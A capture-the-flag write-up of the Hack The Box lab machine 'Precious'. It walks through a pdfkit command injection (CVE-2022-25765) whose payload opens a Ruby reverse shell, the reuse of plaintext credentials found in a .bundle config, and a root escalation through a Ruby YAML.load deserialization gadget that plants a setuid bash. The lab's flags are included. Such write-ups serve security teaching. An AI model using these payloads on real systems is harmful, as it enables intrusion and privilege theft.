Skip to content

HTB Precious done

Precious

OS:

Linux

Technology:

IP Address:

10.129.228.98

Open ports:

22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0

Users and pass:

From /home/ruby/.bundle
L: henry
P: Q3c1AqGHtoI0aXAYFH
---

Nmap

┌──(kali㉿kali)-[~/Desktop/writeups/HTB/HTB_Precious]
└─$ sudo nmap -A -sV --script=default -p- -oA 10.129.228.98_nmap 10.129.228.98 ; cat 10.129.228.98_nmap.nmap | grep -E "^[0-9]{1,}/(tcp|udp)"
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 22:48 CET
Nmap scan report for 10.129.228.98
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_  256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0

Add IP to /etc/hosts

┌──(kali㉿kali)-[~/Desktop/writeups/HTB/HTB_Precious]
└─$ cat /etc/hosts | tail -n1
10.129.228.98 precious.htb

Convert test.html file from my host

http://10.10.14.28/test.html
file:///home/kali/Downloads/5t7sciwkfsn4igkio4g4e8nqxkf3vh1z.pdf
---
┌──(kali㉿kali)-[~/Desktop/writeups/HTB/HTB_Precious]
└─$ cat test.html                                  
<i>Test</i>

Exiftool for file: 5t7sciwkfsn4igkio4g4e8nqxkf3vh1z.pdf

I found info:
Creator                         : Generated by pdfkit v0.8.6
---
┌──(kali㉿kali)-[~/Desktop/writeups/HTB/HTB_Precious]
└─$ exiftool ~/Downloads/5t7sciwkfsn4igkio4g4e8nqxkf3vh1z.pdf 
ExifTool Version Number         : 12.76
File Name                       : 5t7sciwkfsn4igkio4g4e8nqxkf3vh1z.pdf
Directory                       : /home/kali/Downloads
File Size                       : 10.0 kB
File Modification Date/Time     : 2024:12:20 00:53:58+01:00
File Access Date/Time           : 2024:12:20 00:53:59+01:00
File Inode Change Date/Time     : 2024:12:20 00:53:59+01:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Exploit: Exploit for CVE-2022–25765 (pdfkit) - Command Injection

[Exploit for CVE-2022–25765 (pdfkit) - Command Injection](https://github.com/UNICORDev/exploit-CVE-2022-25765)

Download exploit

┌──(kali㉿kali)-[~/Desktop/writeups/HTB/HTB_Precious]
└─$ git clone https://github.com/UNICORDev/exploit-CVE-2022-25765.git
Cloning into 'exploit-CVE-2022-25765'...
remote: Enumerating objects: 87, done.
remote: Counting objects: 100% (87/87), done.
remote: Compressing objects: 100% (75/75), done.
remote: Total 87 (delta 38), reused 27 (delta 7), pack-reused 0 (from 0)
Receiving objects: 100% (87/87), 20.99 KiB | 1.61 MiB/s, done.
Resolving deltas: 100% (38/38), done.

Create payload

┌──(kali㉿kali)-[~/…/writeups/HTB/HTB_Precious/exploit-CVE-2022-25765]
└─$ python exploit-CVE-2022-25765.py -s 10.10.14.28 80

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....

UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.28","80"))'`
LOCALIP: 10.10.14.28:80
WARNING: Be sure to start a local listener on the above IP and port.
EXPLOIT: Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.

Create revshell

Payload: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.28","80"))'`
---
┌──(kali㉿kali)-[~/…/writeups/HTB/HTB_Precious/exploit-CVE-2022-25765]
└─$ netcat -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.129.228.98] 52694
python -c 'import pty;pty.spawn("/bin/bash")';
sh: 1: python: not found
script -qc /bin/bash /dev/null
ruby@precious:/var/www/pdfapp$ 

Read file .bundle from /home/ruby/.bundle/config

I found creds for user: henry
L: henry
P: Q3c1AqGHtoI0aXAYFH
---
ruby@precious:~$ ls -la
ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Dec 19 17:03 .
drwxr-xr-x 4 root root 4096 Oct 26  2022 ..
lrwxrwxrwx 1 root root    9 Oct 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby  220 Mar 27  2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27  2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .bundle
drwxr-xr-x 4 ruby ruby 4096 Dec 19 18:26 .cache
-rw-r--r-- 1 ruby ruby  807 Mar 27  2022 .profile
ruby@precious:~$ cd .bundle 
cd .bundle
ruby@precious:~/.bundle$ ls
ls
config
ruby@precious:~/.bundle$ ls -la
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26  2022 .
drwxr-xr-x 4 ruby ruby 4096 Dec 19 17:03 ..
-r-xr-xr-x 1 root ruby   62 Sep 26  2022 config
ruby@precious:~/.bundle$ cat config
cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ 

Read flag: user.txt

ruby@precious:~/.bundle$ su henry
su henry
Password: Q3c1AqGHtoI0aXAYFH

henry@precious:/home/ruby/.bundle$ cd ~
cd ~
henry@precious:~$ ls -la
ls -la
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26  2022 .
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
-rw-r----- 1 root  henry   33 Dec 19 16:41 user.txt
henry@precious:~$ cat user.txt ; ip ; id
cat user.txt ; ip ; id
547ce9212bf5169ed5178f1ef75dd209
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
       ip [ -force ] -batch filename
where  OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
                   tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm |
                   netns | l2tp | fou | macsec | tcp_metrics | token | netconf | ila |
                   vrf | sr | nexthop | mptcp }
       OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
                    -h[uman-readable] | -iec | -j[son] | -p[retty] |
                    -f[amily] { inet | inet6 | mpls | bridge | link } |
                    -4 | -6 | -I | -D | -M | -B | -0 |
                    -l[oops] { maximum-addr-flush-attempts } | -br[ief] |
                    -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] |
                    -rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] |
                    -c[olor]}
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:~$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:92:5f brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.228.98/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2284sec preferred_lft 2284sec
henry@precious:~$ 

SSH login user: henry

L: henry
P: Q3c1AqGHtoI0aXAYFH
---
┌──(kali㉿kali)-[~/Desktop/writeups/HTB/HTB_Precious]
└─$ ssh [email protected]  
[email protected]'s password: 
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Dec 20 05:38:57 2024 from 10.10.14.28

Check sudo -l

henry@precious:/tmp$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/tmp$ 
henry@precious:/tmp$ cat /opt/update_dependencies.rb ; ls -l /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
-rwxr-xr-x 1 root root 848 Sep 25  2022 /opt/update_dependencies.rb
henry@precious:/tmp$ 

Exploit: Universal RCE with Ruby YAML.load (versions > 2.7)

[Universal RCE with Ruby YAML.load (versions > 2.7)]( https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)

Privilege escalation

Create a payload

\---
henry@precious:/tmp$ cat dependencies.yml

--- 
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: cp /bin/bash /tmp/bash_root; chmod 6777 /tmp/bash_root
         method_id: :resolve
henry@precious:/tmp$ 

Run

henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
    33: from /opt/update_dependencies.rb:17:in `<main>'
    32: from /opt/update_dependencies.rb:10:in `list_from_file'
    31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
    30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
    29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
    28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
    27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
    26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
    25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
    24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
    23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
    22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
    21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
    20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
    19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
    18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
    17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
    16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
    15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
    14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
    13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
    12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
    11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
    10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
     9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
     8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
     7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
     6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
     5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
     4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
     3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
     2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
     1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:/tmp$ 
henry@precious:/tmp$ ls -la bash_root
-rwsrwsrwx 1 root root 1234376 Dec 20 08:18 bash_root

Read flag: root.txt

henry@precious:/tmp$ ./bash_root -p
bash_root-5.1# 
bash_root-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash_root-5.1# 
bash_root-5.1# 
bash_root-5.1# cd /root
bash_root-5.1# ls -la
total 28
drwx------  4 root root 4096 Dec 19 16:41 .
drwxr-xr-x 18 root root 4096 Nov 21  2022 ..
lrwxrwxrwx  1 root root    9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc
drwxr-xr-x  3 root root 4096 Oct 26  2022 .bundle
drwxr-xr-x  3 root root 4096 Nov 21  2022 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Dec 19 16:41 root.txt
bash_root-5.1# cat root.txt ; ip a ; id
43862b9b81400f689bc51809c38ce6ae
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:92:5f brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.228.98/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2594sec preferred_lft 2594sec
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash_root-5.1# 

References

[Exploit for CVE-2022–25765 (pdfkit) - Command Injection](https://github.com/UNICORDev/exploit-CVE-2022-25765)
[Universal RCE with Ruby YAML.load (versions > 2.7)]( https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)

Lessons Learned

Tags